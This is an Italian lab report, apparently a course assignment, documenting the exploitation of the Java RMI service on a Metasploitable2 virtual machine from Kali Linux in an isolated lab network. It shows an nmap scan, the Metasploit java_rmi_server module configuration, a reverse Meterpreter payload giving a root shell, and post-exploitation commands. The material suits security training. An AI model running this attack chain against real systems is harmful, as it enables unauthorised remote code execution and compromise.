

Report Laboratorio – Progetto S7/L5

1. Obiettivo dell'attività

L'obiettivo del laboratorio è stato lo sfruttamento della vulnerabilità **Java RMI (porta TCP 1099)** presente sulla macchina Metasploitable2, al fine di ottenere una sessione remota Meterpreter dalla macchina attaccante Kali Linux, come richiesto dalla traccia progettuale.

Successivamente all'ottenimento dell'accesso remoto, sono state raccolte le evidenze relative alla **configurazione di rete** e alla **tavella di routing** della macchina compromessa.

2. Ambiente di laboratorio

L'ambiente di laboratorio è stato configurato con **due macchine virtuali collegate sulla stessa rete locale isolata**, al fine di garantire una comunicazione diretta tra macchina attaccante e macchina bersaglio senza interferenze esterne.

Configurazione IP

Sistema	Indirizzo IP
Kali Linux (attaccante)	192.168.11.111
Metasploitable2 (vittima)	192.168.11.112

Per verificare la corretta configurazione delle **interfacce di rete**, su **entrambe le macchine virtuali** è stato utilizzato il comando *ip a*, mentre la connettività tra i due sistemi è stata verificata tramite **test ICMP bidirezionali** utilizzando il comando *ping*.

```
(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
            valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host noprefixroute
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff
        inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth0
            valid_lft forever preferred_lft forever
        inet6 fe80::1a87:4108:d229:585e/64 scope link noprefixroute
            valid_lft forever preferred_lft forever

(kali㉿kali)-[~]
└─$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.787 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.758 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.389 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.446 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.497 ms
^C
--- 192.168.11.112 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4099ms
rtt min/avg/max/mdev = 0.389/0.575/0.787/0.164 ms
```

Figura 2.1 — Verifica configurazione IP e test di connettività ICMP dalla macchina Kali Linux verso la macchina Metasploitable2.

```

msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:d6:14:8d brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
        inet6 fe80::a00:27ff:fed6:148d/64 scope link
            valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ ping -c 4 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.168 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.462 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=0.437 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=0.337 ms

--- 192.168.11.111 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.168/0.351/0.462/0.115 ms
msfadmin@metasploitable:~$ 

```

Figura 2.2 — Verifica configurazione IP e test di connettività ICMP dalla macchina Metasploitable2 verso la macchina Kali Linux.

Come mostrato in **Figura 2.1**, la macchina **Kali Linux** risulta correttamente configurata con **indirizzo IP statico 192.168.11.111** e raggiunge correttamente la macchina Metasploitable2. Analogamente, in **Figura 2.2** è riportato il controllo della configurazione di rete e il **test di raggiungibilità dalla macchina Metasploitable2 verso Kali Linux**, che conferma la **comunicazione bidirezionale** tra i due sistemi.

L'esito positivo dei test ICMP conferma che l'**ambiente di laboratorio è correttamente configurato** e pronto per le successive fasi di **scansione ed exploitation**.

3. Fase di Ricognizione (Scanning con Nmap)

Prima di procedere con la fase di exploitation, è stata effettuata un'attività di **ricognizione attiva** sulla macchina bersaglio al fine di identificare i **servizi esposti** e verificare la presenza del servizio vulnerabile richiesto dalla traccia.

Lo scan è stato eseguito dalla macchina **Kali Linux verso** la macchina **Metasploitable2** utilizzando lo strumento **Nmap**, con l'obiettivo di individuare le **porte TCP aperte** e ottenere informazioni sui **servizi in ascolto**.

Il comando utilizzato è il seguente:

```
nmap -sS -sV -p- 192.168.11.112
```

Durante l'attività di scanning è stata rilevata la presenza del servizio **Java RMI** attivo sulla **porta TCP 1099**, come mostrato in Figura 3.1.

```
(kali㉿kali)-[~]
└─$ nmap -SS -sV -p- 192.168.11.112
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-23 04:41 -0500
Nmap scan report for 192.168.11.112
Host is up (0.0015s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbs)
35274/tcp open  java-rmi   GNU Classpath grmiregistry
40633/tcp open  status       1 (RPC #100024)
55649/tcp open  nlockmgr    1-4 (RPC #100021)
55698/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 08:00:27:D6:14:8D (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.69 seconds
```

Figura 3.1 — Risultato dello scan Nmap sulla macchina Metasploitable2 con individuazione del servizio Java RMI attivo sulla porta TCP 1099.

Risultato rilevante dello scan

1099/tcp open java-rmi GNU Classpath grmiregistry

La presenza del servizio **Java RMI** in stato **open** conferma la condizione necessaria per procedere allo **sfruttamento della vulnerabilità tramite Metasploit**, come richiesto dal progetto.

4. Fase di Exploitation con Metasploit

Dopo aver individuato il servizio vulnerabile **Java RMI** in ascolto sulla **porta TCP 1099**, è stata avviata la fase di exploitation utilizzando il **framework Metasploit**, con l'obiettivo di ottenere una **sessione remota Meterpreter** sulla macchina bersaglio.

4.1 Avvio Metasploit Framework

Dalla macchina Kali Linux è stato avviato Metasploit tramite il comando:

msfconsole

Dopo l'avvio del framework Metasploit, è stata eseguita una ricerca dei moduli Java RMI, al termine della quale è stato selezionato il modulo di exploit utilizzato per l'attacco.

4.2 Ricerca dei moduli Java RMI e selezione dell'exploit

Prima di procedere con l'utilizzo dell'exploit, è stata effettuata una ricerca dei moduli disponibili all'interno del framework Metasploit relativi al servizio Java RMI, al fine di individuare il modulo più appropriato per lo scenario di attacco.

La ricerca è stata eseguita tramite il comando:

```
search java_rmi
```

Il comando ha restituito diversi moduli relativi a funzionalità di **enumerazione**, **scansione** ed **exploitation** del servizio Java RMI.

```
msf > search java_rmi
Matching Modules
=====
#  Name
-  auxiliary/gather/java_rmi_registry
s Enumeration
  1  exploit/multi/misc/java_rmi_server
    fault configuration Java Code Execution
      2  \_ target: Generic (Java Payload)
      3  \_ target: Windows x86 (Native Payload)
      4  \_ target: Linux x86 (Native Payload)
      5  \_ target: Mac OS X PPC (Native Payload)
      6  \_ target: Mac OS X x86 (Native Payload)
    7  auxiliary/scanner/misc/java_rmi_server
      dpoint Code Execution Scanner
      8  exploit/multi/browser/java_rmi_connection_impl
        serialization Privilege Escalation

    Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_
    impl
```

Figura 4.1 — Risultato del comando di ricerca dei moduli Java RMI all'interno del framework Metasploit e individuazione del modulo exploit/multi/misc/java_rmi_server.

Tra i moduli disponibili è stato selezionato:

```
exploit/multi/misc/java_rmi_server
```

La scelta di questo modulo è stata effettuata sulla base delle seguenti motivazioni tecniche:

- il modulo sfrutta una **configurazione insicura predefinita del servizio Java RMI Registry**, che consente il **caricamento remoto di classi Java tramite URL HTTP**;

- permette l'**esecuzione di codice remoto** (Remote Code Execution) sulla macchina bersaglio;
- è compatibile con più piattaforme (**Java, Linux, Windows, macOS, Solaris**), risultando particolarmente adatto ad ambienti legacy come Metasploitable2;
- presenta un livello di affidabilità elevato, classificato con **Rank: Excellent**, indicando una buona stabilità dell'exploit;
- supporta la verifica preventiva della vulnerabilità tramite la funzionalità **Check supported: Yes**;
- non richiede **meccanismi di autenticazione**, in quanto le chiamate RMI sfruttate dal modulo non prevedono controlli di accesso.

Il modulo sfrutta in particolare una vulnerabilità nota associata al servizio Java RMI, identificata come **CVE-2011-3556**, che consente l'esecuzione di codice remoto tramite caricamento dinamico di classi Java da sorgenti esterne.

Gli altri moduli individuati durante la fase di ricerca sono stati esclusi in quanto destinati esclusivamente ad attività di **enumerazione, scansione di vulnerabilità** o a **scenari client-side**, non coerenti con l'obiettivo del laboratorio.

4.3 Selezione e caricamento del modulo di exploit

A seguito della fase di ricerca dei moduli disponibili relativi al servizio Java RMI, è stato selezionato il modulo di exploit ritenuto più idoneo allo scenario di laboratorio.

Il modulo è stato caricato all'interno di Metasploit tramite il comando:

```
use exploit/multi/misc/java_rmi_server
```

Il caricamento del modulo ha consentito di preparare l'ambiente di attacco per lo sfruttamento della vulnerabilità **Java RMI Server Insecure Default Configuration**, permettendo la successiva configurazione dei parametri necessari all'esecuzione dell'exploit e all'impostazione del payload Meterpreter.

4.4 Configurazione dei parametri dell'exploit e del payload

Dopo il caricamento del modulo di exploit, è stata effettuata la **configurazione dei parametri necessari all'esecuzione dell'attacco**, specificando sia le informazioni relative al target sia quelle relative al listener sulla macchina attaccante.

Configurazione del sistema bersaglio (Target)

È stato configurato l'indirizzo IP della macchina Metasploitable2 tramite il comando:

```
set RHOSTS 192.168.11.112
```

Il parametro **RHOSTS** identifica l'host remoto verso il quale viene indirizzato l'exploit, corrispondente alla macchina bersaglio individuata nella fase di ricognizione.

La porta di destinazione è rimasta impostata sul valore predefinito 1099, coerente con il servizio **Java RMI** precedentemente rilevato.

Configurazione del payload

Il modulo ha automaticamente selezionato il payload predefinito:

```
java/meterpreter/reverse_tcp
```

Tale payload consente di instaurare una connessione reverse Meterpreter, permettendo alla macchina bersaglio di stabilire una connessione verso il sistema attaccante.

Configurazione del listener (macchina attaccante)

È stato configurato l'indirizzo IP della macchina Kali Linux tramite il comando:

```
set LHOST 192.168.11.111
```

Il parametro **LHOST** identifica l'indirizzo sul quale Metasploit resta in ascolto per ricevere la connessione di ritorno generata dal payload.

La porta di ascolto è stata mantenuta sul valore predefinito 4444.

Verifica della configurazione

Prima di procedere con l'esecuzione dell'exploit, è stata verificata la corretta impostazione dei parametri tramite il comando:

```
show options
```

Come mostrato in Figura 4.2, tutti i parametri risultano correttamente configurati per l'avvio della fase di exploitation.

```

msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
  Name      Current Setting  Required  Description
  HTTPDELAY    10           yes        Time that the HTTP Server will wait for the payload request
  RHOSTS      192.168.11.112  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT       1099          yes        The target port (TCP)
  SRVHOST     0.0.0.0       yes        The local host or network interface to listen on. This must be an address
                                         on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT     8080          yes        The local port to listen on.
  SSL          false         no         Negotiate SSL for incoming connections
  SSLCert      Path to a custom SSL certificate (default is randomly generated)
  URIPATH      no          no         The URI to use for this exploit (default is random)

  Payload options (java/meterpreter/reverse_tcp):
    Name      Current Setting  Required  Description
    LHOST      192.168.11.111  yes        The listen address (an interface may be specified)
    LPORT      4444          yes        The listen port

  Exploit target:
    Id  Name
    --  --
    0   Generic (Java Payload)

View the full module info with the info, or info -d command.

```

Figura 4.2 — Verifica dei parametri di configurazione dell’exploit Java RMI e del payload Meterpreter prima dell’esecuzione dell’attacco.

4.5 Esecuzione dell’exploit e ottenimento della sessione Meterpreter

Una volta completata la configurazione dei parametri dell’exploit e del payload, è stata avviata la fase di sfruttamento vero e proprio tramite il comando:

exploit

Durante l’esecuzione, Metasploit ha avviato il listener TCP locale sulla macchina Kali Linux e ha utilizzato il servizio Java RMI della macchina bersaglio per trasferire ed eseguire il payload remoto.

Al termine della procedura, è stata stabilita con successo una connessione reverse verso la macchina attaccante, con conseguente apertura di una sessione Meterpreter interattiva.

```

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/7Nuhr2x0
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:57541) at 2026-01-23 05:00:55 -0500

```

Figura 4.3 — Apertura della sessione Meterpreter remota a seguito dello sfruttamento della vulnerabilità Java RMI sulla macchina Metasploitable2.

Risultato dell’operazione

Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112)

Come mostrato in **Figura 4.3**, l'apertura della sessione conferma il **successo dell'exploit** e l'avvenuta compromissione della macchina Metasploitable2.

La sessione Meterpreter ottenuta ha consentito l'accesso remoto al sistema bersaglio, rendendo possibile l'esecuzione dei comandi necessari alla fase successiva di **post-exploitation**, come richiesto dalla traccia progettuale.

5. Fase di Post-Exploitation

Dopo l'ottenimento della sessione Meterpreter remota, è stata avviata la fase di **post-exploitation** al fine di raccogliere le informazioni richieste dalla traccia progettuale, in particolare:

- **configurazione di rete della macchina bersaglio;**
- **tabella di routing della macchina bersaglio.**

L'accesso remoto è stato ottenuto con **privilegi amministrativi (root)**, consentendo l'esecuzione completa dei comandi di sistema necessari alla raccolta delle evidenze.

5.1 Verifica privilegi della sessione

Prima di procedere alla raccolta delle informazioni, è stato verificato il contesto di esecuzione della sessione Meterpreter tramite il comando:

getuid

Risultato

```
meterpreter > getuid
Server username: root
```

Figura 5.1 — Verifica dei privilegi della sessione Meterpreter sulla macchina Metasploitable2.

Il risultato conferma che la sessione Meterpreter è stata ottenuta con **privilegi di amministratore**, garantendo pieno accesso alle informazioni di rete del sistema bersaglio.

5.2 Identificazione del sistema compromesso

Successivamente è stato utilizzato il comando:

sysinfo

per ottenere informazioni generali relative al sistema operativo, all’architettura e all’ambiente di esecuzione della sessione Meterpreter.

Risultato

```
meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Architecture   : x86
System Language: en_US
Meterpreter    : java/linux
```

Figura 5.2 — Informazioni di sistema della macchina Metasploitable2 ottenute tramite comando sysinfo dalla sessione Meterpreter.

L’output conferma che la macchina compromessa esegue un **sistema Linux legacy**, coerente con l’ambiente Metasploitable2, e che la sessione Meterpreter è stata stabilita tramite payload **Java-based**, come previsto dall’exploit utilizzato.

5.3 Raccolta configurazione di rete

Per ottenere le informazioni relative alla **configurazione di rete** della macchina bersaglio è stato utilizzato il comando:

ifconfig

Risultato

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fed6:148d
IPv6 Netmask : ::
```

Figura 5.3 — Output del comando ifconfig eseguito tramite sessione Meterpreter per la visualizzazione della configurazione di rete della macchina Metasploitable2.

L’output conferma che la macchina Metasploitable2 risulta configurata sulla rete **192.168.11.0/24**, coerentemente con la configurazione dell’ambiente di laboratorio.

5.4 Raccolta tabella di routing

Successivamente è stata raccolta la **tabella di routing** del sistema bersaglio tramite il comando:

route

Risultato

```
meterpreter > route
[...]
IPv4 network routes
[...]
Subnet          Netmask        Gateway      Metric  Interface
127.0.0.1      255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0
[...]
IPv6 network routes
[...]
Subnet          Netmask        Gateway      Metric  Interface
::1            ::           ::
fe80::a00:27ff:fed6:148d  ::           ::
```

Figura 5.4 — Visualizzazione della tabella di routing della macchina Metasploitable2 tramite comando route eseguito da sessione Meterpreter.

L'output mostra la presenza delle rotte locali e l'**assenza di un gateway predefinito**, configurazione coerente con una rete di laboratorio isolata.

6. Conclusioni

L'attività di laboratorio ha consentito di dimostrare in modo pratico lo sfruttamento di una vulnerabilità di **Java RMI** derivante da una configurazione insicura del servizio, evidenziando come un servizio esposto senza adeguati meccanismi di protezione possa consentire l'**esecuzione di codice remoto** sul sistema bersaglio.

Attraverso l'utilizzo del **framework Metasploit**, è stato possibile individuare il modulo di exploit più appropriato, configurare correttamente i parametri di attacco ed ottenere una **sessione Meterpreter remota con privilegi amministrativi (root)** sulla macchina Metasploitable2.

La fase di **post-exploitation** ha permesso di raccogliere le evidenze richieste dalla traccia progettuale, in particolare la **configurazione di rete** e la **tabella di routing** del sistema compromesso, confermando la completa compromissione della macchina bersaglio e il corretto funzionamento dell'ambiente di laboratorio.

L'esercitazione evidenzia l'importanza di una corretta **configurazione dei servizi di**

rete, dell'applicazione di principi di hardening e dell'adozione di misure di sicurezza preventive, al fine di ridurre la superficie di attacco ed evitare scenari di compromissione analoghi in contesti reali.